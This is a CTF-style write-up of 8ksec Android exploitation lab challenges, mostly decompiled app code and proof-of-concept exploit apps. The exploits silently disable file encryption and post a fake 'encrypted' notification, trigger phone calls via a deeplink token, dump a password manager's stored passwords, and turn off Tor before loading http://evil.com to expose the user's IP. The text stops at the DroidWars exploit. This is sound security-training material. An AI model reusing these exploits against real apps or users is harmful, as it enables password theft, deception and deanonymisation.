8ksec android exploitation writeups
This is the writeups for 8ksec android exploitation module. It covers several android app exploitation techniques but they are pretty easy and straight forward.
Challenges covered in this writeup include
- AndroPseudoProtect
- AndroDialer
- DroidCave
- DroidView
- DroidWars
- ReconDroid
I’m still working on
- GeofenceGamble: The Ultimate Game of Speed
- BorderDroid: International Border Protection
- FactsDroid: Your Universal Knowledgebase
check them out at : academy.8ksec.io
Written by : 0xf0rk3b0mb
On : 14/07/2025
Prerequisites
You will need the following tools/knowledge:
- Android emulator/physical phone (i prefer to have both)
- Jadx-gui
- Frida-tools
- apktool
- Android Studio
- Ghidra
- adb-tools
- Knowledge on android programming
AndroPseudoProtect

This app check file in android storage and ecrypts tem when start security button is clicked , they are then decrypted when stop security is clicked.
N.B Run this in an emulator since the you may lose important files in a real phone :( , leant the hard way.
GOAL : create an exploit to silently disable security and enable an attacker to read files in plain text , also send a notification assuring the user that security is still on.
Analysis
Using Jadx-gui decompile the app.
First things first find all exported components this are they ones that can be accessed by other apps i.e our poc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<activity
android:name="com.eightksec.andropseudoprotect.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<service
android:name="com.eightksec.andropseudoprotect.SecurityService"
android:exported="true"
android:foregroundServiceType="dataSync"/>
<receiver
android:name="com.eightksec.andropseudoprotect.SecurityReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.eightksec.andropseudoprotect.START_SECURITY"/>
<action android:name="com.eightksec.andropseudoprotect.STOP_SECURITY"/>
</intent-filter>
</receiver>
|
The security service and receiver are interesting , we will focus in SecurityService since the receiver just forwards the intents to the service , it also has intent filters which will be useful in exploit development. Read more » here
In SecurityService onStart method we can see in order to stop security we need the STOP_SECURITY intent action , we also need to pass an extra with correct value of security token handled by class SecurityUtils.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
public int onStartCommand(Intent intent, int flags, int startId) {
String action = intent != null ? intent.getAction() : null;
if (action != null) {
int hashCode = action.hashCode();
if (hashCode != -1447419790) {
if (hashCode == -1187150936 && action.equals(ACTION_START_SECURITY)) {
String stringExtra = intent.getStringExtra(EXTRA_SECURITY_TOKEN);
if (stringExtra != null && Intrinsics.areEqual(stringExtra, new SecurityUtils().getSecurityToken())) {
if (this.isServiceRunning) {
stopSecurity();
}
startSecurity();
}
return 1;
}
} else if (action.equals(ACTION_STOP_SECURITY)) {
String stringExtra2 = intent.getStringExtra(EXTRA_SECURITY_TOKEN);
if (stringExtra2 != null && Intrinsics.areEqual(stringExtra2, new SecurityUtils().getSecurityToken())) {
stopSecurity();
}
return 1;
}
}
startAsForeground();
return 1;
}
|
In class SecurityUtils , we can see that the token is retrieved from a native lib.
1
2
3
4
5
6
7
8
9
10
11
12
|
public final class SecurityUtils {
public final native String getSecurityToken();
static {
System.loadLibrary("security-native");
}
}
|
With this requirements identified we are ready to develop the exploit
Exploit
First we create a new project in android studio, then create a folder called jniLibs here we will copy the native libs from the target android app , this can be extracted from the android app by unzipping it , they are usually in the folder “lib”.

From there we can begin programming the app.
To use the libs we have to add a new package to the project that has the same name as the origin of the native libs , the activity name also has to match , in this case com.eightsec.androseudoprotect.SecurityUtils , this is because it is usually hardcoded in the libs so it wont work if we use it without doing this.

The contents of SecurityUtils.
1
2
3
4
5
6
7
8
9
10
11
|
package com.eightksec.andropseudoprotect;
import android.util.Log;
public final class SecurityUtils {
public final native String getSecurityToken();
static {
System.loadLibrary("security-native");
}
}
|
In our MainActivity we can then call the function getSecurityToken to retrive the token.
Content of MainActivity:
This section retrieves the token and creates an intent with the STOP_SECURITY action and the token as the extra. The target app pkg and cls is also defined. We can then send the broadcast since we are interaction with a Broadcast Receiver . Read more » here
1
2
3
4
5
6
7
8
9
|
SecurityUtils securityUtils = new SecurityUtils();
String token = securityUtils.getSecurityToken();
Log.i(TAG, "Token: " + token);
Intent intent = new Intent();
intent.putExtra("security_token", token);
intent.setClassName("com.eightksec.andropseudoprotect", "com.eightksec.andropseudoprotect.SecurityReceiver");
intent.setAction("com.eightksec.andropseudoprotect.STOP_SECURITY");
sendBroadcast(intent);
|
This is enough to trigger the exploit , but i added some fancy bs to demonstrate the exploit actually works , the methods to send a notification and reads a proof plain text file using SAF.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
private void sendFakeSecurityNotification() {
createNotificationChannel(this);
Intent openIntent = new Intent(this, MainActivity.class); // Opens this PoC again
PendingIntent pendingIntent = PendingIntent.getActivity(
this, 0, openIntent, PendingIntent.FLAG_IMMUTABLE
);
Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
.setSmallIcon(android.R.drawable.ic_lock_lock)
.setContentTitle("AndroPseudoProtect")
.setContentText("All files Encrypted successfuly!") // Fake message
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setCategory(NotificationCompat.CATEGORY_SERVICE)
.setOngoing(true)
.setContentIntent(pendingIntent)
.build();
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
notificationManager.notify(101, notification); // ID 101 to avoid legit conflict
}
private void createNotificationChannel(Context context) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel(
CHANNEL_ID,
"Fake Security Channel",
NotificationManager.IMPORTANCE_HIGH
);
channel.setDescription("Imitating security app notifications");
NotificationManager manager = context.getSystemService(NotificationManager.class);
if (manager != null) {
manager.createNotificationChannel(channel);
}
}
}
private void openFilePicker() {
Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
intent.addCategory(Intent.CATEGORY_OPENABLE);
intent.setType("*/*");
intent.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
startActivityForResult(intent, PICK_FILE_REQUEST_CODE);
}
private void readFileFromUri(Uri uri) {
try (InputStream inputStream = getContentResolver().openInputStream(uri);
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream))) {
StringBuilder builder = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
builder.append(line).append("\n");
}
TextView Result = findViewById(R.id.result);
Result.setText("File content:\n" + builder.toString());
Log.i(TAG, "File content:\n" + builder.toString());
} catch (IOException e) {
Log.e(TAG, "Error reading file", e);
}
}
|
That is all you need to exploit this. I am not doing alot of detailed explaining since this writeup will be really long :(
AndroDialer.
This app is a basic phone calls app.
![IMG-20250714-WA0003[1]](https://hackmd.io/_uploads/HkCRKwz8lx.jpg)
GOAL : Develop an exploit that can be used be an attacker to make malicious calls.
Analysis
First things first find all exported components. There alot so ill just get to the point. This CallHandlerServiceActivity can be exploited to achieve our goal. Based on then scheme and host definition we can tell that we will be working with android deeplinks. Read more »
here
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<activity
android:theme="@android:style/Theme.NoDisplay"
android:name="com.eightksec.androdialer.CallHandlerServiceActivity"
android:exported="true"
android:taskAffinity=""
android:excludeFromRecents="true">
<intent-filter>
<action android:name="com.eightksec.androdialer.action.PERFORM_CALL"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="tel"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="dialersec"
android:host="call"/>
</intent-filter>
</activity>
|
The code of the Activity checks for certain parameters. The scheme for the deeplink should be “dialsec” , the host “call” , i should supply a parameter “enterprise_auth_token” whose value is hardcoded in the code anyways. Also the intent action should be perform.CALL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
if (str7.equals("8kd1aL3R_s3Cur3_k3Y_2023") || str7.equals("8kd1aL3R-s3Cur3-k3Y-2023") || h.a(str, "8kd1aL3R_s3Cur3_k3Y_2023") || h.a(str, "8kd1aL3R-s3Cur3-k3Y-2023")) {
if (getIntent().hasExtra("phoneNumber")) {
str3 = getIntent().getStringExtra("phoneNumber");
} else {
Uri data2 = getIntent().getData();
if (h.a(data2 != null ? data2.getScheme() : null, "tel")) {
Uri data3 = getIntent().getData();
if (data3 != null) {
str3 = data3.getSchemeSpecificPart();
}
} else {
Uri data4 = getIntent().getData();
if (h.a(data4 != null ? data4.getScheme() : null, "dialersec")) {
Uri data5 = getIntent().getData();
if (h.a(data5 != null ? data5.getHost() : null, "call")) {
Uri data6 = getIntent().getData();
String queryParameter = data6 != null ? data6.getQueryParameter("number") : null;
if (queryParameter == null || queryParameter.length() == 0) {
List<String> pathSegments3 = data != null ? data.getPathSegments() : null;
Integer valueOf = pathSegments3 != null ? Integer.valueOf(pathSegments3.indexOf("number")) : null;
if (valueOf != null && valueOf.intValue() >= 0 && valueOf.intValue() < pathSegments3.size() - 1) {
str3 = pathSegments3.get(valueOf.intValue() + 1);
}
} else {
str3 = queryParameter;
}
}
}
|
Exploit
We have to send an intent with the above requirements. The code below sends and intent with the deeplink as datastring and the target pkg anfd cls are defined. This was the easiest one in this writeup.
1
2
3
4
5
6
7
8
9
|
String phonenumber = "000000";
Intent intent = new Intent();
intent.setClassName("com.eightksec.androdialer","com.eightksec.androdialer.CallHandlerServiceActivity");
intent.setAction("com.eightksec.androdialer.action.PERFORM_CALL");
intent.setData(Uri.parse("dialersec://call?number="+phonenumber+"&enterprise_auth_token=8kd1aL3R-s3Cur3-k3Y-2023"));
startActivity(intent);
Utils.showDialog(MainActivity.this, intent);
|
DroidCave
This app is a password manager app.

GOAL: Create a poc to steal stored passwords and disable encryption
Analysis
First we find exported components
1
2
3
4
5
6
7
8
9
|
<provider
android:name="com.eightksec.droidcave.provider.PasswordContentProvider"
android:exported="true"
android:authorities="com.eightksec.droidcave.provider"
android:grantUriPermissions="true"/>
|
This is what caught my attention , Content Providers are databases they even use sql queries to retrieve and store information.
Below are options that we can use in the uri to specify what we want . In this case retrieve passwords and disable encyption.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
static {
UriMatcher uriMatcher = new UriMatcher(-1);
MATCHER = uriMatcher;
uriMatcher.addURI(AUTHORITY, "passwords", 1);
uriMatcher.addURI(AUTHORITY, "passwords/#", 2);
uriMatcher.addURI(AUTHORITY, "password_search/*", 3);
uriMatcher.addURI(AUTHORITY, "password_type/*", 4);
uriMatcher.addURI(AUTHORITY, "execute_sql/*", 5);
uriMatcher.addURI(AUTHORITY, "settings/*", 6);
uriMatcher.addURI(AUTHORITY, PATH_DISABLE_ENCRYPTION, 7);
uriMatcher.addURI(AUTHORITY, PATH_ENABLE_ENCRYPTION, 8);
uriMatcher.addURI(AUTHORITY, "set_password_plaintext/*/*", 9);
}
|
Logic for case 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
case 2:
SupportSQLiteDatabase supportSQLiteDatabase7 = null;
String lastPathSegment = uri.getLastPathSegment();
SupportSQLiteQueryBuilder builder2 = SupportSQLiteQueryBuilder.INSTANCE.builder("passwords");
builder2.columns(projection);
builder2.selection("id = ?", new String[]{lastPathSegment});
SupportSQLiteDatabase supportSQLiteDatabase8 = this.database;
if (supportSQLiteDatabase8 == null) {
Intrinsics.throwUninitializedPropertyAccessException("database");
} else {
supportSQLiteDatabase7 = supportSQLiteDatabase8;
}
return supportSQLiteDatabase7.query(builder2.create())
|
Logic for case 7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
|
case 7:
try {
SharedPreferences sharedPreferences9 = this.sharedPreferences;
if (sharedPreferences9 == null) {
Intrinsics.throwUninitializedPropertyAccessException("sharedPreferences");
sharedPreferences9 = null;
}
sharedPreferences9.edit().putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false).commit();
Context context2 = getContext();
if (context2 != null && (applicationContext = context2.getApplicationContext()) != null && (sharedPreferences = applicationContext.getSharedPreferences("settings_prefs", 0)) != null && (edit = sharedPreferences.edit()) != null && (putBoolean = edit.putBoolean(SettingsViewModel.KEY_ENCRYPTION_ENABLED, false)) != null) {
Boolean.valueOf(putBoolean.commit());
}
} catch (Exception e2) {
MatrixCursor matrixCursor7 = new MatrixCursor(new String[]{"error"});
matrixCursor7.addRow(new String[]{"Error disabling encryption: " + e2.getMessage()});
matrixCursor = matrixCursor7;
}
try {
EncryptionService encryptionService = new EncryptionService();
SupportSQLiteDatabase supportSQLiteDatabase15 = this.database;
if (supportSQLiteDatabase15 == null) {
Intrinsics.throwUninitializedPropertyAccessException("database");
supportSQLiteDatabase15 = null;
}
Cursor query = supportSQLiteDatabase15.query("SELECT id, password FROM passwords WHERE isEncrypted = 1");
ArrayList arrayList = new ArrayList();
ArrayList arrayList2 = new ArrayList();
while (query.moveToNext()) {
long j = query.getLong(query.getColumnIndexOrThrow("id"));
byte[] blob = query.getBlob(query.getColumnIndexOrThrow("password"));
try {
Intrinsics.checkNotNull(blob);
byte[] bytes = encryptionService.decrypt(blob).getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
ContentValues contentValues = new ContentValues();
contentValues.put("password", bytes);
contentValues.put("isEncrypted", (Integer) 0);
SupportSQLiteDatabase supportSQLiteDatabase16 = this.database;
if (supportSQLiteDatabase16 == null) {
Intrinsics.throwUninitializedPropertyAccessException("database");
supportSQLiteDatabase2 = null;
} else {
supportSQLiteDatabase2 = supportSQLiteDatabase16;
}
if (supportSQLiteDatabase2.update("passwords", 5, contentValues, "id = ?", new String[]{String.valueOf(j)}) > 0) {
arrayList.add(String.valueOf(j));
} else {
arrayList2.add(String.valueOf(j));
}
} catch (Exception e3) {
Log.e("PasswordProvider", "Error decrypting password ID: " + j, e3);
try {
byte[] bytes2 = "password123".getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
ContentValues contentValues2 = new ContentValues();
contentValues2.put("password", bytes2);
contentValues2.put("isEncrypted", (Integer) 0);
SupportSQLiteDatabase supportSQLiteDatabase17 = this.database;
if (supportSQLiteDatabase17 == null) {
Intrinsics.throwUninitializedPropertyAccessException("database");
supportSQLiteDatabase = null;
} else {
supportSQLiteDatabase = supportSQLiteDatabase17;
}
supportSQLiteDatabase.update("passwords", 5, contentValues2, "id = ?", new String[]{String.valueOf(j)});
arrayList2.add(j + " (set to fallback)");
} catch (Exception e4) {
Log.e("PasswordProvider", "Error setting fallback password for ID: " + j, e4);
arrayList2.add(j + " (complete failure)");
}
}
}
query.close();
matrixCursor = new MatrixCursor(new String[]{"result"});
if (arrayList2.isEmpty()) {
matrixCursor.addRow(new String[]{"Encryption disabled and " + arrayList.size() + " passwords successfully decrypted."});
} else {
matrixCursor.addRow(new String[]{"Encryption disabled. " + arrayList.size() + " passwords decrypted successfully. " + arrayList2.size() + " failed and were set to fallback value."});
}
return matrixCursor;
} catch (Exception e5) {
Log.e("PasswordProvider", "Error creating EncryptionService", e5);
throw e5;
}
|
This is all we need to achive our goal
Exploit
First we query the content provider to disable encryption
Before I forget we have to add the queries field in our android Manifest this is required in newer android to protect user data. Read more » here
1
2
3
4
|
<queries>
<package android:name="com.eightksec.droidcave"/>
</queries>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
ContentResolver resolver = getContentResolver();
// 1) Disable encryption
Uri disableEncryptionUri = Uri.parse("content://com.eightksec.droidcave.provider/disable_encryption");
try {
Cursor disableCursor = resolver.query(disableEncryptionUri, null, null, null, null);
if (disableCursor != null) {
Log.i(TAG, "Encryption disabled successfully!");
results.append("Encryption disabled successfully!\n\n");
disableCursor.close();
} else {
Log.w(TAG, "Disable encryption query returned null cursor!");
results.append("Disable encryption query returned null cursor!\n\n");
}
} catch (Exception e) {
Log.e(TAG, "Error disabling encryption", e);
results.append("Error disabling encryption: ").append(e.getMessage()).append("\n\n");
}
|
Then we query the passwords
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
// 2) Query passwords
Uri passwordsUri = Uri.parse("content://com.eightksec.droidcave.provider/passwords/#");
try {
Cursor cursor = resolver.query(passwordsUri, null, "", null, null);
if (cursor != null) {
String[] columnNames = cursor.getColumnNames();
while (cursor.moveToNext()) {
for (int i = 0; i < columnNames.length; i++) {
String columnName = columnNames[i];
int type = cursor.getType(i);
String line;
switch (type) {
case Cursor.FIELD_TYPE_NULL:
line = columnName + ": NULL";
break;
case Cursor.FIELD_TYPE_INTEGER:
long longValue = cursor.getLong(i);
line = columnName + ": " + longValue;
break;
case Cursor.FIELD_TYPE_FLOAT:
double doubleValue = cursor.getDouble(i);
line = columnName + ": " + doubleValue;
break;
case Cursor.FIELD_TYPE_STRING:
String stringValue = cursor.getString(i);
line = columnName + ": " + stringValue;
break;
case Cursor.FIELD_TYPE_BLOB:
byte[] blobValue = cursor.getBlob(i);
String blobHex = bytesToHex(blobValue);
line = columnName + ": (BLOB) " + blobHex;
break;
default:
line = columnName + ": UNKNOWN TYPE";
break;
}
Log.i(TAG, line);
results.append(line).append("\n");
}
results.append("\n"); // separate rows
}
cursor.close();
} else {
Log.w(TAG, "Password query returned null cursor!");
results.append("Password query returned null cursor!\n");
}
} catch (Exception e) {
Log.e(TAG, "Error querying passwords", e);
results.append("Error querying passwords: ").append(e.getMessage()).append("\n");
}
|
This will disable encryption and retrieve the passwords
DroidView
This app is a browser with ability to connect to tor.

GOAL: Create a malicious app that makes a user visit a malicious url and disable tor to expose real ip address.
Analysis
First we find exported components. To disable tor security we need to send an intent to MainActivity with a securitytoken we can retrieve from TokenService.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
<activity
android:name="com.eightksec.droidview.MainActivity"
android:exported="true"
android:configChanges="screenSize|orientation">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
</intent-filter>
<intent-filter>
<action android:name="com.eightksec.droidview.LOAD_URL"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="com.eightksec.droidview.TOGGLE_SECURITY"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<service
android:name="com.eightksec.droidview.TokenService"
android:exported="true">
<intent-filter>
<action android:name="com.eightksec.droidview.ITokenService"/>
<action android:name="com.eightksec.droidview.TOKEN_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</service>
|
TokenService is an android service. It is also a bound service , this means it used andoid OS Binder read more here
This means that it used AIDL and Stub loading , read more in the link above.
This is the method that retrieves the token.
1
2
3
4
5
|
public String getSecurityToken() throws RemoteException {
return SecurityTokenManager.getInstance(TokenService.this).getCurrentToken();
}
|
We can see its definition in the stub loader. This sub loader used a custom onTransact method , so we need to modify our service connection in order to be able to interact with it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
public class TokenService extends Service {
private static final String TAG = "TokenService";
private final ITokenServiceStub binder = new ITokenServiceStub();
@Override // android.app.Service
public void onCreate() {
super.onCreate();
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return this.binder;
}
@Override // android.app.Service
public void onDestroy() {
super.onDestroy();
}
public class ITokenServiceStub extends ITokenService.Stub {
private static final String DESCRIPTOR = "com.eightksec.droidview.ITokenService";
static final int TRANSACTION_disableSecurity = 2;
static final int TRANSACTION_getSecurityToken = 1;
@Override // com.eightksec.droidview.ITokenService
public boolean disableSecurity() throws RemoteException {
return true;
}
public ITokenServiceStub() {
}
@Override // android.os.Binder
public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException {
if (i == 1) {
parcel.enforceInterface(DESCRIPTOR);
String securityToken = getSecurityToken();
parcel2.writeNoException();
parcel2.writeString(securityToken);
return true;
}
if (i != 2) {
if (i == 1598968902) {
parcel2.writeString(DESCRIPTOR);
return true;
}
return super.onTransact(i, parcel, parcel2, i2);
}
parcel.enforceInterface(DESCRIPTOR);
boolean disableSecurity = disableSecurity();
parcel2.writeNoException();
parcel2.writeInt(disableSecurity ? 1 : 0);
return true;
}
@Override // com.eightksec.droidview.ITokenService
public String getSecurityToken() throws RemoteException {
return SecurityTokenManager.getInstance(TokenService.this).getCurrentToken();
}
}
}
|
In the MainActivity to disable tor security we need to send an intent as follows. This is a registered broadcastreceiver inside the MainActivity
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
class AnonymousClass1 extends BroadcastReceiver {
AnonymousClass1() {
}
@Override // android.content.BroadcastReceiver
public void onReceive(final Context context, Intent intent) {
if (MainActivity.ACTION_TOGGLE_SECURITY.equals(intent.getAction())) {
try {
final boolean booleanExtra = intent.getBooleanExtra(MainActivity.EXTRA_ENABLE_SECURITY, true);
String stringExtra = intent.getStringExtra(MainActivity.EXTRA_SECURITY_TOKEN);
if (!booleanExtra && !MainActivity.this.validateSecurityToken(stringExtra)) {
Toast.makeText(context, "Error: Invalid security token", 1).show();
} else {
MainActivity.this.handler.post(new Runnable() { // from class: com.eightksec.droidview.MainActivity$1$$ExternalSyntheticLambda0
@Override // java.lang.Runnable
public final void run() {
MainActivity.AnonymousClass1.this.m90lambda$onReceive$0$comeightksecdroidviewMainActivity$1(booleanExtra, context);
}
});
}
} catch (Exception unused) {
}
}
}
/* renamed from: lambda$onReceive$0$com-eightksec-droidview-MainActivity$1, reason: not valid java name */
/* synthetic */ void m90lambda$onReceive$0$comeightksecdroidviewMainActivity$1(boolean z, Context context) {
try {
MainActivity.this.securitySwitch.setChecked(z);
MainActivity.this.setSecurityEnabled(z);
Toast.makeText(context, z ? "Enabling Tor Security" : "Disabling Tor Security", 1).show();
if (z || MainActivity.this.webView.getUrl() == null) {
return;
}
String url = MainActivity.this.webView.getUrl();
MainActivity.this.webView.loadUrl("about:blank");
MainActivity.this.webView.loadUrl(url);
} catch (Exception e) {
Toast.makeText(context, "Error toggling security: " + e.getMessage(), 1).show();
}
}
}
|
To send the url we have to send an intent with the action LOAD_URL and the url as an intent Extra.
Exploit
First we add the queries field as explained earlier why we need this.
1
2
3
|
<queries>
<package android:name="com.eightksec.droidview" />
</queries>
|
Next we connect to the TokenService
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder binder) {
isBound = true;
try {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInterfaceToken("com.eightksec.droidview.ITokenService");
boolean transactResult = binder.transact(1, data, reply, 0);
if (!transactResult) {
Log.e("POC", "Transact getSecurityToken failed");
} else {
reply.readException();
securityToken = reply.readString();
Log.i("POC", securityToken != null ? "Token obtained: " + securityToken : "Token not found");
}
data.recycle();
reply.recycle();
DisableSecurity();
} catch (RemoteException e) {
Log.e("POC", "RemoteException", e);
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
isBound = false;
}
};
|
1
2
3
4
5
6
|
public void ObtainToken() {
Intent intent = new Intent("com.eightksec.droidview.TOKEN_SERVICE");
intent.setPackage("com.eightksec.droidview");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
startTargetMainActivity();
}
|
Method to disable tor security
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public void DisableSecurity() {
Intent intent = new Intent("com.eightksec.droidview.TOGGLE_SECURITY");
intent.putExtra("security_token", securityToken);
intent.putExtra("enable_security", false);
intent.setPackage("com.eightksec.droidview");
sendBroadcast(intent);
Log.i("POC", "Disable broadcast sent");
new android.os.Handler().postDelayed(new Runnable() {
@Override
public void run() {
Url();
}
}, 1000); // 1 second delay
}
|
Method to send the malicious url
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public void Url() {
Intent loadIntent = new Intent();
loadIntent.setAction("com.eightksec.droidview.LOAD_URL");
loadIntent.putExtra("url", "http://evil.com");
loadIntent.setComponent(new ComponentName("com.eightksec.droidview", "com.eightksec.droidview.MainActivity"
));
loadIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
try {
startActivity(loadIntent);
Log.i("POC", "Load URL activity started");
} catch (Exception e) {
Log.e("POC", "Failed to start Load URL activity", e);
}
}
|
Before the exploit is run , the target app has to be started in order to register the broadcast receiver.
DroidWars
This app loads plugins defined by a user , the plugins have to be in .dex format.

GOAL: Create a malicious plugin
Analysis
This is the only exported activity
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<activity
android:name="com.eightksec.droidwars.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
|
In the app there is a sample Pikachu plugin that is already loaded so we will use its structure to create out own malicious plugin.
The struct of a plugins should be like.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public interface PokemonPlugin {
List<String> getAbilities();
String getDescription();
int getImageResourceId();
String getName();
Map<String, Integer> getStats();
String getType();
}
|
From the PluginLoader class we can see that plugins ae loaded from “/sdcard/PokeDex/plugins”
1
2
3
4
5
6
7
8
9
|
public static final Companion INSTANCE = new Companion(null);
public static final String PLUGINS_DIR = "/sdcard/PokeDex/plugins/";
private static final String PLUGIN_INTERFACE = "com.eightksec.droidwars.plugin.PokemonPlugin";
private static final String SIMPLE_PLUGIN_INTERFACE = "SimplePlugin";
private static final String TAG
|
The plugin name should also be “MaliciousPlugin”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
private final Object loadSimplePlugin(ClassLoader classLoader, String pluginName) {
Class<?> loadClass;
for (String str : CollectionsKt.listOf((Object[]) new String[]{String.valueOf(StringsKt.removeSuffix(pluginName, (CharSequence) "Plugin")), String.valueOf(pluginName), "MaliciousPlugin"})) {
try {
String str2 = "Attempting to load SimplePlugin implementation: " + str;
Log.d(TAG, str2);
Function1<? super String, Unit> function1 = this.onLogMessage;
if (function1 != null) {
function1.invoke(str2);
}
loadClass = classLoader.loadClass(str);
Intrinsics.checkNotNull(loadClass);
} catch (ClassNotFoundException unused) {
String str3 = "SimplePlugin class not found: " + str;
Log.d(TAG, str3);
Function1<? super String, Unit> function12 = this.onLogMessage;
if (function12 != null) {
function12.invoke(str3);
Unit unit = Unit.INSTANCE;
}
} catch (Exception e) {
String str4 = "Error checking SimplePlugin class " + str + ": " + e.getMessage();
Log.e(TAG, str4, e);
Function1<? super String, Unit> function13 = this.onLogMessage;
if (function13 != null) {
function13.invoke(str4);
Unit unit2 = Unit.INSTANCE;
}
}
if (isSimplePluginImplementation(loadClass)) {
String str5 = "Found SimplePlugin implementation: " + str;
Log.d(TAG, str5);
Function1<? super String, Unit> function14 = this.onLogMessage;
if (function14 != null) {
function14.invoke(str5);
}
classLoader = loadClass.newInstance();
return classLoader;
}
Unit unit3 = Unit.INSTANCE;
}
return null;
}
|
Exploit
